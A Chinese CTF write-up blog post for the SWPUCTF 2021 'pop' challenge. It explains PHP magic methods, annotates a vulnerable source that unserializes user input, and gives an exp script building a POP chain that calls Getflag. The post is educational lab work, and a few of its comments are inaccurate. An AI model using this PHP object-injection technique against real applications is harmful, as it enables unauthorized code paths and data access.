[SWPUCTF 2021 新生赛]pop

 常见的魔术方法

魔术方法

__construct()	类的构造函数,在对象实例化时调用
__destruct()	类的析构函数,在对象被销毁时被调用
__call()		在对象中调用一个不可访问的对象时被调用,比如一个对象被调用时,里面没有程序想调用的属性
__get()			个人觉得和call函数类似
__isset()		当一个对象调用isset()或empty()时被调用
__sleep()		执行serialize()时,先会调用这个函数
__wakeup()		执行unserialize()时,先会调用这个函数,改属性键值可绕过
__toString()	类被当成字符串时被调用,如出现echo或者pre_match时
__invoke()		以函数的形式调用一个对象时被调用
__clone()		出现clone函数,会被调用

 源码

# 源码

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

源码解读 

# 注释版

<?php

error_reporting(0); // 定义报错等级为0,也就说不显示代码报错!
show_source("index.php"); // 显示index.php源码!

class w44m{ # 定义类 w44m 

    private $admin = 'aaa'; // 定义私有成员变量为admin,值为aaa
    protected $passwd = '123456'; // 定义私有成员变量为passwd,值为123456

    public function Getflag(){ // 定义公共方法 Getflag
        if($this->admin === 'w44m' && $this->passwd ==='08067'){ // 判断这两个私有成员变量的值是否为 w44m \ 08067
            include('flag.php'); // 如果满足if条件语句,则包含flag.php文件!
            echo $flag;  // 并输出变量flag
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono'; // 否则,就打印当前私有变量admin、passwd 输入的字符值!
        }
    }
}

class w22m{ // 定义 w22m类
    public $w00m;
    public function __destruct(){ // w22m类中的析构函数为空,这意味着在对象被销毁时不会执行任何特定的操作 !  // 类的析构函数,在对象被销毁时被调用!
        echo $this->w00m; // 
    }
        /*
        $this->w00m->{$this->w22m}();会调用函数,所以只需要给$w00m赋一个w44m类,然后再给w22m赋一个Getflag就能成功调用该函数。
        */
}

class w33m{ // 定义 w33m类
    public $w00m;
    public $w22m;
    public function __toString(){ # 类被当成字符串时被调用,如出现echo或者pre_match时
        $this->w00m->{$this->w22m}();
        return 0;
        /*
        再再考虑一下如何调用这个w33m类呢??上面写过__toString()这个方法会在一个对象被当作字符串时被调用,
        于是我们就能看到w22m这个类里面的echo函数。我们只要给w00m赋一个w33m类,就能调用。
        */

    }
}

/*
$this->w00m:访问存储在属性 $w00m 中的对象。
->{$this->w22m}:调用存储在属性 $w22m 中的方法名对应的方法,作用于从 $w00m 获取的对象上。
动态地在一个对象上调用一个方法,其中对象和方法名分别由类 w33m 内的属性 $w00m 和 $w22m 确定。
*/


// 这一题就是构造pop链!
# w44m类用于读取flag,所以是这条链的尾部!
# 对象被销毁时候会调用析构函数 __destruct() ,所以w22m是头部!
# 那么w33m 就是中间部分了!


$w00m = $_GET['w00m']; // 注意 ,这里传参为 w00m
unserialize($w00m); // 序列化!

?>

 exp脚本

# exp

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}

class w22m{
    public $w00m;
}

class w33m{
    public $w00m;
    public $w22m;
}

$a = new w22m;
$a -> w00m = new w33m;
$a -> w00m -> w00m = new w44m;
$a -> w00m -> w22m = 'Getflag';

echo serialize($a)
?>

构造pop链!第一次做觉得难,多做几次,就简单了!
  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值